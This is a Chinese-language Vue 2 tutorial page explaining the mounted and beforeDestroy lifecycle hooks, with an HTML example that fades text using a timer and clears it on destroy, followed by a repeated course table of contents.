常用的生命周期钩子：
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例

1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效，但原生DOM事件依然有效。
3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <script type="text/javascript" src="Vue/js/vue.js"></script>
  </head>
  <body>
    <div id="app">
      <h2 :style="{opacity}">欢迎学习Vue</h2>
      <button @click="opacity = 1">透明度设置为1</button>
      <button @click="stop">点我停止变换</button>
    </div>
  </body>
  <script type="text/javascript">
     new Vue({
      el:'#app',
      data:{
        opacity:1
      },
      methods: {
        stop(){
          this.$destroy()
        }
      },
      //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
      mounted(){
        console.log('mounted',this)
        this.timer = setInterval(() => {
          console.log('setInterval')
          this.opacity -= 0.01
          if(this.opacity <= 0) this.opacity = 1
        },16)
      },
      beforeDestroy() {
        clearInterval(this.timer)
        console.log('vm即将驾鹤西游了')
      },
    })
  </script>
</html>

vue2.0+vue3.0资料（尚硅谷）（三）https://developer.aliyun.com/article/1470418

vue2.0+vue3.0资料（尚硅谷）（二）

12、列表渲染

12-1、基本列表

12-2、key的原理

面试题：react、vue中的key有什么作用？（key的内部原理）

12-3、列表过滤

12-4、列表排序

12-5、更新时的一个问题

12-6、模拟一个Vue数据监测

12-7、Vue监测数据改变的原理__对象

12-8、Vue.set()方法

12-9、Vue监测数据改变的原理__数组

12-10、总结Vue数据监测

12-11、数据劫持

13、收集表单数据

14、过滤器

15、内置指令

15-1、v-text指令

15-2、v-html指令

v-html的安全性(cookie)

15-3、v-cloak指令

15-4、v-once指令

15-5、v-pre指令

16、自定义指令

16-1、回顾一个DOM操作

16-2、自定义指令操作

17、生命周期

17-1、引入生命周期

17-2、分析生命周期(挂载、更新、与销毁)

17-3、总结生命周期

热门文章

最新文章

相关课程

相关电子书

热门

活动广场

任务中心

开发者评测

高校计划

乘风者计划

训练营

阿里云MVP

话题

直播

下载

镜像站

技术资料

插件

vue2.0+vue3.0资料（尚硅谷）（二）

12、列表渲染

12-1、基本列表

12-2、key的原理

面试题：react、vue中的key有什么作用？（key的内部原理）

12-3、列表过滤

12-4、列表排序

12-5、更新时的一个问题

12-6、模拟一个Vue数据监测

12-7、Vue监测数据改变的原理__对象

12-8、Vue.set()方法

12-9、Vue监测数据改变的原理__数组

12-10、总结Vue数据监测

12-11、数据劫持

13、收集表单数据

14、过滤器

15、内置指令

15-1、v-text指令

15-2、v-html指令

v-html的安全性(cookie)

15-3、v-cloak指令

15-4、v-once指令

15-5、v-pre指令

16、自定义指令

16-1、回顾一个DOM操作

16-2、自定义指令操作

17、生命周期

17-1、引入生命周期

17-2、分析生命周期(挂载、更新、与销毁)

17-3、总结生命周期

热门文章

最新文章

相关课程

相关电子书